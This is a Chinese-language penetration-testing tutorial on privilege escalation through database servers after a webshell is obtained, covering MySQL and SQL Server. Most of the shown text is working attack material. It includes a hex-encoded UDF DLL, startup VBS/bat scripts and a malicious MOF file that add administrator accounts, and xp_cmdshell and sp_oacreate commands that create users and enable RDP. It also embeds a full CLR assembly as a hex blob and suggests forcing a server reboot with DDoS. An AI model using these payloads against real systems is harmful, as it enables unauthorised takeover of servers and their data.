内网渗透(二)之提权

目录

内网渗透之提权篇

Webshell

数据库提权

MySQL

UDF提权

启动项提权

MOF提权

SQLServer

xp_cmdshell提权

sp_oacreate提权

CLR执行系统命令

DB_owner权限LOG备份提权

DB_owner权限差异备份提权

shell反弹命令的一些收集

关于WIndows系统的反弹shell命令的一些收集

 关于Linux系统的反弹shell命令的一些收集

对于Windows系统的提权

内核溢出漏洞提权

方法一:手动执行命令

方法二:msf 后渗透模块 

方法三:Windows Exploit Suggester

方法四:PowerShell中的 Sherlock脚本

Windows错误配置提权

系统服务权限配置错误提权

注册表键AlwaysInstallElevated提权

Trusted Service Paths漏洞(可信任服务路径漏洞提权)

计划任务提权

绕过UAC提权

 Windows组策略首选项GPP提权

COM组件提权

影响版本

 MSF利用

Other

通过KiTrap0D提升Windows权限

Windows TrackPopupMenu Win32k NULL指针解引用

Windows ClientCopyImage Win32k Exploit

Task Scheduler XML提权

MS16-032 Secondary Logon Handle提权

MS16-016 mrxdav.sys WebDav本地提权

MS13-053 ^]% NTUserMessageCall Win32k内核池溢出

EPATHOBJ^]%^]%pprFlattenRec本地提权

对于Linux系统的提权

基础知识

Linux内核

内核提权

脏牛漏洞

利用方式

SUID提权

 实列

Sudo提权

关于sudo

 实列

 关于SUID,SUDO等提权命令的汇总:GTFOBins

 Linux配置错误提权 

定时任务提权

 实列

Linux中使用环境变量提权

介绍

方法1 

Linux系统提权之非常规篇

MOTD注入提权

实列

pyhton-OS库代码注入提权

实列

 Chkrootkit 提权

python Capabilities cap_sys_ptrace+ep提权

基础知识介绍

实列


内网渗透之提权篇

对于内网渗透,到我们拿到了公网主机的权限后,并获得了一些本机的信息时。我们首先得知道我们的权限。如果获取到的是普通用户权限,则我们需要想办法提权至管理员权限。如果获得的已经是管理员权限,则可以忽略这一步。对于Windows系统,只有提权到管理员权限后,才可以运行mimikatz以及执行一些其他高权限的操作。对于Linux系统,很多命令需要root权限才能执行,只有提权到root权限才能执行后面的信息收集等工作。如果该主机不能提权至 管理员/root 权限的话,则我们要尽可能多的搜集该主机上的信息,然后对内网其他主机进行攻击,拿下另外的主机作为突破口。

Webshell

我们获得了一个Windows系统的普通用户权限,但由于低权限用户的很多操作将受到限制。导致我么们无法进行后渗透等行为。所以,我们会想法设法地将低权限用户提权到高权限用户。一般来说,那权限的过程一般是:Webshell、数据库权限——>系统普通用户权限——>Administrator权限——>System权限。反正,我们的最终目的就是拿到该主机的最高权限。

如果说我们通过web网站漏洞得到了webshell(一般来说是通过小马或者大马),该网站是以普通用户启动的。通过WebShell我们可以执行一些普通的系统命令,但是执行不了创建用户等高权限的系统命令。所以我们现在需要利用获得的WebShell提权以达到创建用户等高权限命令。

我们拿到了webshell的权限后一般来说是要通过shell反弹给攻击者的主机以便执行后面阶段的操作的。

数据库提权

比如说我们发现了某个网站存在SQL注入,亦或者是我们发现了某个主机的数据库的账号密码,我们直接远程连接上了该数据库。我们现在想利用该数据库来执行系统命令。这里需要注意的是,执行系统命令的权限取决于数据库启动用户的权限。

数据库提权的前提条件:

1、服务器开启数据库服务
2、获取到最高权限用户密码
(除Access数据库外,其他数据库基本都存在数据库提权的可能)

常见密码获取方式:

1、读取网站数据库配置文件(了解其命名规则及查找技巧)
例如:sql data inc config conn database common include等
2、读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
例如:@@basedir/data/数据库名/表名.myd
3、 利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)
例如:远程本地暴力猜解,服务器本地暴力猜解(未开启外联,需要上传数据库暴力破解脚本到网站后执行)
 

MySQL

UDF提权

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,其实就像使用本地MySQL函数如 user() 或 concat() 等。那么,我们该如何使用UDF呢?

假设我的UDF文件名为 udf.dll,存放在MySQL安装目录的 lib/plugin 目录下(当MySQL>5.1,该目录默认不存在)。

在 udf.dll 文件中,我定义了名为 sys_eval() 的 MySQL 函数,该函数可以执行系统任意命令。但是如果我现在就打开 MySQL 命令行,使用 select sys_eval('whoami');的话,系统会返回 sys_eval() 函数未定义。因为我们仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
所以,我们应该把 udf.dll 中的自定义函数引入进来。看一下官方文档中的语法:

create function sys_eval returns string soname 'udf.dll';
/*只有两个变量:    一个是 function_name(函数名),我们想引入的函数是 sys_eval。
    还有一个变量是 shared_library_name(共享包名称),即 udf.dll 。*/

至此我们已经引入了 sys_eval 函数,下面就可以使用了。
这个函数用于执行系统命令,用法如下:

select * from mysql.func where name = 'sys_eval';    #查看创建的sys_eval函数
select sys_eval('whoami');                           #使用系统命令

1.当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。

2.当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录下 (lib\plugin目录默认不存在,需自行创建)。

UDF提权步骤

secure-file-priv简介:在高版本中有个参数:secure-file-priv,这个参数限制了MySQL的导出:该参数为NULL时不允许导出,该参数为空时允许在任意文件夹中导出,该参数为某文件夹时允许在该文件夹中导出。

一:查看  secure_file_priv  的值

secure_file_priv 是用来限制 load dumpfile、into  outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限

show global variables like 'secure%'; #查看secure_file_priv的值
     当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
     当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
     当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

我们先查看 secure_file_priv 的值是否为空,因为只有为空我们才能继续下面的提权步骤。

如果 secure_file_priv 为NULL是不能写入导出文件的。

 如果 secure_file_priv没有具体的值,则可以写入导出文件。

 secure_file_priv 的值在MySQL数据库的安装目录的 my.ini 文件中配置。

 解决办法:

利用php大马webshell手工修改my.ini配置文件,添加 secure-file-priv=,之后想办法,让目标网站重启一下mysql服务即可使修改的配置生效(例如,上传可以执行命令的大马,或者菜刀执行cmd命令,停止mysql服务:net stop mysql, 启动mysql服务:net start mysql)


 

 二:查看plugin的值

但是实际测试发现UDF提权成功与否与该值无关。

select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
        # 查看plugin的值
        当 plugin 的值为空时不可提权
        当 plugin 值为 mysql_native_password 时可通过账户连接提权

 

 三:查看系统架构以及plugin目录

show variables like '%compile%';             #查看主机版本及架构
show variables like 'plugin%';               #查看 plugin 目录

 

 这里是 x64 位的系统,我们可以去kali中 /usr/share/metasploit-framework/data/exploits/mysql/ 目录下载64位的 .dll 文件。

四:将dll文件写入plugin目录,并且创建函数 

创建一个表并将二进制数据插入到十六进制编码流中。你可以通过insert语句或将其分解为多个部分,然后通过update语句拼接二进制数据。 

create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "G:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll"; 
create function sys_eval returns string soname 'udf.dll';   #创建函数sys_eval

 五:执行系统命令

select * from mysql.func where name = 'sys_eval';    #查看创建的sys_eval函数
select sys_eval('whoami');                           #使用系统命令

 如果得到了数据库的用户名和密码,并且可以远程连接的话,可以使用MSF里面的 exploit/multi/mysql/mysql_udf_payload 模块自动注入

使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为任意创建的名字。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。

select * from mysql.func where name = "sys_exec";

 手动使用该 dll 文件创建sys_eval()函数,来执行有命令的回显。

create function sys_eval returns string soname "XJhSEGuE.dll"; #在XJhSEGuE.dll中创建sys_eval文件
select sys_eval("whoami"); #执行系统命令

 实验

实验前提条件:假设我们已经获取mysql数据库的用户名密码为root/root,并且上传了php大马webshell

第一步:导出dll文件

1.mysql<5.1 导出目录c:/windows或system32
2.mysql=>5.1 导出安装目录/lib/plugin/ 例如:C:/phpStudy/PHPTutorial/MySQL/lib/plugin//udf.dll

上传一个 moon.php 到目标网站,如下图所示,然后使用脚本功能导出udf.dll。

成功导出dll文件后、利用脚本已写好的功能先创建sys_eval函数,之后可以查看当前用户等操作,提权成功

 MySQL udf提权脚本有反弹shell的功能,可以通过该功能反弹shell。或者可以通过sqlmap写入木马,反弹一个shell。

启动项提权

关于MySQL的启动项提权,听其名知其意。就是将一段 VBS或bat脚本导入到  C:\Documents and Settings\All Users\「开始」菜单\程序\启动 下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令!

1. 如果  C:\Documents and Settings\All Users\「开始」菜单\程序\启动 目录存在可读写的权限,那么我们可以直接将 VBS 提权脚本上传到该目录下!

VBS 提权脚本代码如下:

setwsnetwork=CreateObject(“WSCRIPT.NETWORK”)
os=”WinNT://”&wsnetwork.ComputerName
Set ob=GetObject(os)
Setoe=GetObject(os&”/Administrators,group”)
Set od=ob.Create(“user”,”secist”)
od.SetPassword “secist.com”
od.SetInfo
Set of=GetObject(os&“/secist”,user)
oe.add os&“/secist”

将以上代码保存为 .vbs 后缀的文件上传即可!,然后想办法让目标机器重启执行脚本添加用户。

2.通过大马的MySQL执行功能,利用SQL命令来进行VBS脚本的创建及添加。

create table secist(cmd text);

insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);

insert into secist values(“a=wshshell.run(“”cmd.exe /c net user secist secist.com /add“”,0)”);

insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators secist /add“”,0)”);

select * from secist into dumpfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;

 成功执行以上命令后,只要管理员重启了服务器,我们就可以成功提权了!

实验

将创建好的adduser.bat进行服务器启动项写入,配合重启执行!写一个adduser.bat文件。

@echo
net user test 123456 /add

通过文件上传上传adduser.bat文件到网站根目录

 通过sql命令写入到启动项中

select load_file(‘C:/phpStudy/PHPTutorial/WWW/adduser.bat’) into dumpfile ‘C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/adduser.bat’;


 

 然后想办法让目标服务器重启(通过DDOS或者其它一些方法),然后就会发现bat文件执行,目标用户被创建。

MOF提权

实验前提条件:

同udf一样需要手动修改my.ini配置文件,添加 secure-file-priv=

mof介绍

mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式",其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。


第一步:通过webshell将adduser.mof文件上传到网站根目录

 下面的代码是mof文件内容,默认添加一个admin,密码admin的账户,可以自行修改。

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
 {
 EventNamespace = "Root\\Cimv2";
 Name = "filtP2";
 Query = "Select * From __InstanceModificationEvent "
 "Where TargetInstance Isa \"Win32_LocalTime\" "
 "And TargetInstance.Second = 5";
 QueryLanguage = "WQL";
 };

instance of ActiveScriptEventConsumer as $Consumer
 {
 Name = "consPCSV2";
 ScriptingEngine = "JScript";
 ScriptText =
 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
 };

instance of __FilterToConsumerBinding
 {
 Consumer = $Consumer;
 Filter = $EventFilter;
 };

第二步:提权

使用sql语句将系统当中默认的nullevt.mof给替换掉,让系统执行我们这个恶意的mof文件,来添加admin账户。

select load_file(‘C:/phpStudy/PHPTutorial/WWW/adduser.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’; #将原本的文件替换为上传的文件,mof文件会每五分钟执行一次。

过一会儿后,查看目标服务器用户,发现admin账户被创建

 注意已执行的mof会一直不停地执行,每隔5秒执行一次mof文件里面的cmd。

解决办法:

net stop winmgmt #停止服务,
rd C:\WINDOWS\system32\wbem\Repository\ #删除文件夹
net start winmgmt #启动服务,完毕不会在执行了。

SQLServer

SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。

SQLServer有三个权限级别:

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
  • db权限:文件管理,数据库操作等权限 users-administrators
  • public权限:数据库操作 guest-users

判断当前用户权限 

select is_srvrolemember('sysadmin');     #判断是否是SA权限,回显1则是
select is_member('db_owner');     #判断是否是db_owner权限,回显1则是
select is_srvrolemember('public');    #判断是否是public权限,回显1则是

SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个实例数据库:ReportServer、ReportServerTempDB。其中,系统数据库 model 和 tempdb 默认是没有数据表的。 

master数据库:master数据库控制SQL Server的所有方面。这个数据库中包括所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息。
model数据库:model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
msdb数据库:msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。
tempdb数据库:tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。
 

SQLServer数据库的查询语句

select @@version;       #查询数据库的版本
select @@servername;    #查询服务名
select host_name();     #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name();       #查询当前数据库名
select db_name(1);      #查询第一个数据库名
select db_name(2);      #查询第二个数据库名
select user;            #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner 
use tempdb              #切换到tempdb表  
top n                   #查询前n条记录
limit 2,3               #查询第2条开始的3条数据,也就是2,3,4
select substring('string',2,1)     #截取给定字符串的索引为2的1个字符
select ascii('a')                  #查询给定字符串的ascii值
select len('string')               #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE';  #查询当前数据库的大小
sp_spaceused '表名'                #查询指定表名的大小
EXEC master.sys.xp_dirtree '\\192.168.106.5\xx.txt',0,1;
 
判断是否是SA权限
select is_srvrolemember('sysadmin')     
判断是否是db_owner权限  
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
 
#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB
 
count(name)是查询总数
name是查询名字
*是查询详细信息
 
#查询数据库
select count(name) from sysdatabases     #查询数据库的个数,只有当前数据库是master的时候,才能执行该命令
select name  from sysdatabases           #查询数据库的名字
select * from sysdatabases               #查询所有数据库的信息
 
#查询数据表
select count(name) from sysobjects where type='U' #查询当前数据库中表的个数
select name from sysobjects where type='U'  #查询当前数据库中所有表的名字
select * from sysobjects where type='U'    #查询当前数据库的所有表的详细信息
 
select count(name) from test..sysobjects where xtype='U'  #查询指定test数据库中表的个数
select name from test..sysobjects where xtype='U'         #查询指定test数据库中表的名字
select * from test..sysobjects where xtype='U'            #查询指定test数据库中表的详细信息
 
#查询列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')            #查询当前数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')         #查询当前数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')      #查询当前数据库的指定users表的列的详细信息
 
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')     #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查询指定test数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users')       #查询指定test数据库的指定users表的列的详细信息
 
#查询数据
select count(*) from test..users          #查询test数据库user表的数据的条数
select * from test..users                 #查询test数据库user表的所有数据

xp_cmdshell提权

xp_cmdshell是数据库中可以执行系统命令的组件,可以通过此组件执行系统命令来提权

可以通过配置文件或者SQL注入之类的,获取到数据库权限,之后执行如下语句

前提条件是:前提是必须获取SA用户的密码(SA用户具有最高权限)

1.判断 xp_cmdshell 是否打开,1就是打开了,0就是关闭了

select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'  

如果xp_cmdshell权限没开启的话,我们可以执行下面命令开启,下面四步,使xp_cmdshell开启 

execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure "xp_cmdshell", 1')           #将xp_cmdshell的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure')                            #查看配置
execute('xp_cmdshell "whoami"')                    #执行系统命令
 
或者
exec sp_configure 'show advanced options',1;       
reconfigure;                                       
exec sp_configure 'xp_cmdshell',1;                 
reconfigure;                                      
exec sp_configure;                                 
exec xp_cmdshell 'whoami';                         
 
 
可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456'              #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes'         #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add'  #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'        #开启3389端口

 此时通过EXEC master.dbo.xp_cmdshell '命令',就可以执行系统命令进行添加用户之类的提权操作。

如果xp_cmdshell被删除,上传xplog70.dll可恢复。

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL
Server\MSSQL\Binn\xplog70.dll'

最后关闭xp_cmd_shell 。

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;

 sp_oacreate提权

sp_oacreate用来调用OLE对象,如果xp_cmdshell组件被删除也可以利用OLE对象的run方法执行系统命令,主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令。(xp_cmdshell被删除的时候,考虑使用sp_oacreate)

使用sp_oacreate提权前提条件:SQLServer数据库服务未降权 (因为需要调用COM组件)

我们可以借助SQLServer中的COM组件SP_OACREATE来执行系统命令,使用下面命令查看是否可使用 sp_oacreate 执行系统命令。

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'

如果SQLServer 阻止了对组件 'Ole Automation Procedures' 的过程  'sys.sp_OACreate'  的访问,可以使用以下命令打开。

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  

再次执行命令,发现不报错。此时可以执行系统命令了,但是使用 sp_oacreate 执行系统命令不回显。

于是我们可以使用以下命令创建用户test。

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test123 /add'

 CLR执行系统命令

#启用MSSQL CLR功能
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
 
#为了导入了不安全的程序集,我们还需要将数据库标记为安全。
ALTER DATABASE [master] SET TRUSTWORTHY ON;
 
#导入程序集,单独执行
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c0103006643f55f0000000000000000e00022200b013000000e00000006000000000000022d0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000b02c00004f00000000400000b803000000000000000000000000000000000000006000000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002e74657874000000080d000000200000000e000000020000000000000000000000000000200000602e72737263000000b8030000004000000004000000100000000000000000000000000000400000402e72656c6f6300000c0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000e42c00000000000048000000020005005c220000540a00000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000be280e00000a72010000706f0f00000a280e00000a7243000070725300007002281000000a28020000066f0f00000a2a1b300600a40100000100001173040000060a731100000a0b076f1200000a026f1300000a03281400000a2d0c076f1200000a036f1500000a076f1200000a176f1600000a076f1200000a176f1700000a076f1200000a166f1800000a076f1200000a176f1900000a076f1200000a176f1a00000a06731b00000a7d010000040706fe0605000006731c00000a6f1d00000a140c076f1e00000a26076f1f00000a076f2000000a6f2100000a0c076f2200000ade390d280e00000a1b8d160000012516725d000070a2251702a2251803a225197291000070a2251a096f2300000aa2282400000a6f0f00000ade00076f2500000a2d1a280e00000a067b010000046f2600000a6f0f00000a3895000000731b00000a130408281400000a2d091104086f2700000a26067b010000046f2800000a2c20110472970000706f2700000a261104067b010000046f2600000a6f2700000a26280e00000a1c8d16000001251602a2251703a2251872af000070a22519076f2500000a13051205282900000aa2251a7291000070a2251b1104252d0426142b056f2600000aa2282400000a6f0f00000a067b010000046f2600000a2a011000000000870021a80039100000011e02282a00000a2a4e027b01000004046f2b00000a6f2700000a262a42534a4201000100000000000c00000076322e302e35303732370000000005006c00000038030000237e0000a4030000a804000023537472696e6773000000004c080000e80000002355530034090000100000002347554944000000440900001001000023426c6f620000000000000002000001571502000902000000fa013300160000010000001c000000030000000100000005000000050000002b0000000d000000010000000100000003000000010000000000b1020100000000000600ed01ae0306005a02ae03060038019b030f00ce03000006004c01cd020600d001cd020600b101cd0206004102cd0206000d02cd0206002602cd0206007901cd0206009401cd0206003004c6020a0063014e030e0009049b030600df02c602060020036e0406001d01ae030e00ee039b030a007a044e030a0015014e0306008e02c6020e00f7029b030e00c4009b030e0035039b0306000803360006001503360006002700c602000000002d00000000000100010001001000dd030000350001000100030110000100000035000100040006006404740050200000000096005e007800010080200000000096008b001a00020040220000000086189503060004004022000000008618950306000400482200000000830016007d000400000001007d0000000100e400000002001f04000001002e03000002000404090095030100110095030600190095030a00290095031000310095031000390095031000410095031000490095031000510095031000590095031000610095031000710095030600910095030600a1000c011500a90096001000b10029041a007900950306007900e9022d00b900d7001000b10098043200b90011041000b90085043700b900b4003c00b90078023700b9007b033700b90049043700890095030600c90095034200790066004800790043044e007900ed000600790069035200d900810057007900370406008100a8005700b10029045b0079009b00610069008c025700890001016500890095026100e1008c02570069009503060099004c005700200063000b012e000b0084002e0013008d002e001b00ac002e002300b5002e002b00cb002e003300cb002e003b00cb002e004300d1002e004b00e1002e005300cb002e005b00fe0063006b000b012000048000000100000000000000000000000000a00200000200000000000000000000006b005500000000000200000000000000000000006b004000000000000200000000000000000000006b00c60200000000030002000000003c3e635f5f446973706c6179436c617373315f30003c52756e436f6d6d616e643e625f5f3000496e743332003c4d6f64756c653e0053797374656d2e494f0053797374656d2e44617461006765745f44617461006d73636f726c696200436d6445786563006164645f4f757470757444617461526563656976656400636d640052656164546f456e640052756e436f6d6d616e640053656e64006765745f45786974436f6465006765745f4d657373616765007365745f57696e646f775374796c650050726f6365737357696e646f775374796c65007365745f46696c654e616d650066696c656e616d6500426567696e4f7574707574526561644c696e6500417070656e644c696e65006765745f506970650053716c5069706500436f6d70696c657247656e6572617465644174747269627574650044656275676761626c6541747472696275746500417373656d626c795469746c654174747269627574650053716c50726f63656475726541747472696275746500417373656d626c7954726164656d61726b41747472696275746500417373656d626c7946696c6556657273696f6e41747472696275746500417373656d626c79436f6e66696775726174696f6e41747472696275746500417373656d626c794465736372697074696f6e41747472696275746500436f6d70696c6174696f6e52656c61786174696f6e7341747472696275746500417373656d626c7950726f6475637441747472696275746500417373656d626c79436f7079726967687441747472696275746500417373656d626c79436f6d70616e794174747269627574650052756e74696d65436f6d7061746962696c697479417474726962757465007365745f5573655368656c6c4578656375746500546f537472696e67006765745f4c656e6774680057617253514c4b69744d696e696d616c0057617253514c4b69744d696e696d616c2e646c6c0053797374656d0053797374656d2e5265666c656374696f6e00457863657074696f6e006765745f5374617274496e666f0050726f636573735374617274496e666f0053747265616d526561646572005465787452656164657200537472696e674275696c6465720073656e646572004461746152656365697665644576656e7448616e646c6572004d6963726f736f66742e53716c5365727665722e536572766572006765745f5374616e646172644572726f72007365745f52656469726563745374616e646172644572726f72002e63746f720053797374656d2e446961676e6f73746963730053797374656d2e52756e74696d652e436f6d70696c6572536572766963657300446562756767696e674d6f6465730053746f72656450726f63656475726573004461746152656365697665644576656e744172677300617267730050726f63657373007365745f417267756d656e747300617267756d656e747300436f6e636174004f626a6563740057616974466f7245786974005374617274007365745f52656469726563745374616e646172644f7574707574007374644f75747075740053797374656d2e546578740053716c436f6e74657874007365745f4372656174654e6f57696e646f770049734e756c6c4f72456d707479000000004143006f006d006d0061006e0064002000690073002000720075006e006e0069006e0067002c00200070006c006500610073006500200077006100690074002e00000f63006d0064002e00650078006500000920002f006300200000334f00530020006500720072006f00720020007700680069006c006500200065007800650063007500740069006e006700200000053a002000001753007400640020006f00750074007000750074003a0000372000660069006e00690073006800650064002000770069007400680020006500780069007400200063006f006400650020003d0020000000c1b0e79eb8eb6348be1e0c1d83c2d05800042001010803200001052001011111042001010e04000012550500020e0e0e0c0706120c123d0e1241124508042000125d040001020e0420010102052001011161052002011c180520010112650320000204200012690320000e0500010e1d0e0320000805200112450e08b77a5c561934e08903061245040001010e062002011c124d0801000800000000001e01000100540216577261704e6f6e457863657074696f6e5468726f7773010801000200000000001501001057617253514c4b69744d696e696d616c00000501000000000f01000a457975702043454c494b00001c010017687474703a2f2f6579757063656c696b2e636f6d2e747200000c010007312e302e302e3000000401000000d82c00000000000000000000f22c0000002000000000000000000000000000000000000000000000e42c0000000000000000000000005f436f72446c6c4d61696e006d73636f7265652e646c6c0000000000ff25002000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000005c03000000000000000000005c0334000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe00000100000001000000000000000100000000003f000000000000000400000002000000000000000000000000000000440000000100560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000000b004bc020000010053007400720069006e006700460069006c00650049006e0066006f0000009802000001003000300030003000300034006200300000001a000100010043006f006d006d0065006e007400730000000000000022000100010043006f006d00700061006e0079004e0061006d00650000000000000000004a0011000100460069006c0065004400650073006300720069007000740069006f006e0000000000570061007200530051004c004b00690074004d0069006e0069006d0061006c0000000000300008000100460069006c006500560065007200730069006f006e000000000031002e0030002e0030002e00300000004a001500010049006e007400650072006e0061006c004e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c00000000005400180001004c006500670061006c0043006f007000790072006900670068007400000068007400740070003a002f002f006500790075007000630065006c0069006b002e0063006f006d002e007400720000002a00010001004c006500670061006c00540072006100640065006d00610072006b00730000000000000000005200150001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000570061007200530051004c004b00690074004d0069006e0069006d0061006c002e0064006c006c000000000036000b000100500072006f0064007500630074004e0061006d0065000000000045007900750070002000430045004c0049004b0000000000340008000100500072006f006400750063007400560065007200730069006f006e00000031002e0030002e0030002e003000000038000800010041007300730065006d0062006c0079002000560065007200730069006f006e00000031002e0030002e0030002e003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000c000000043d00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;
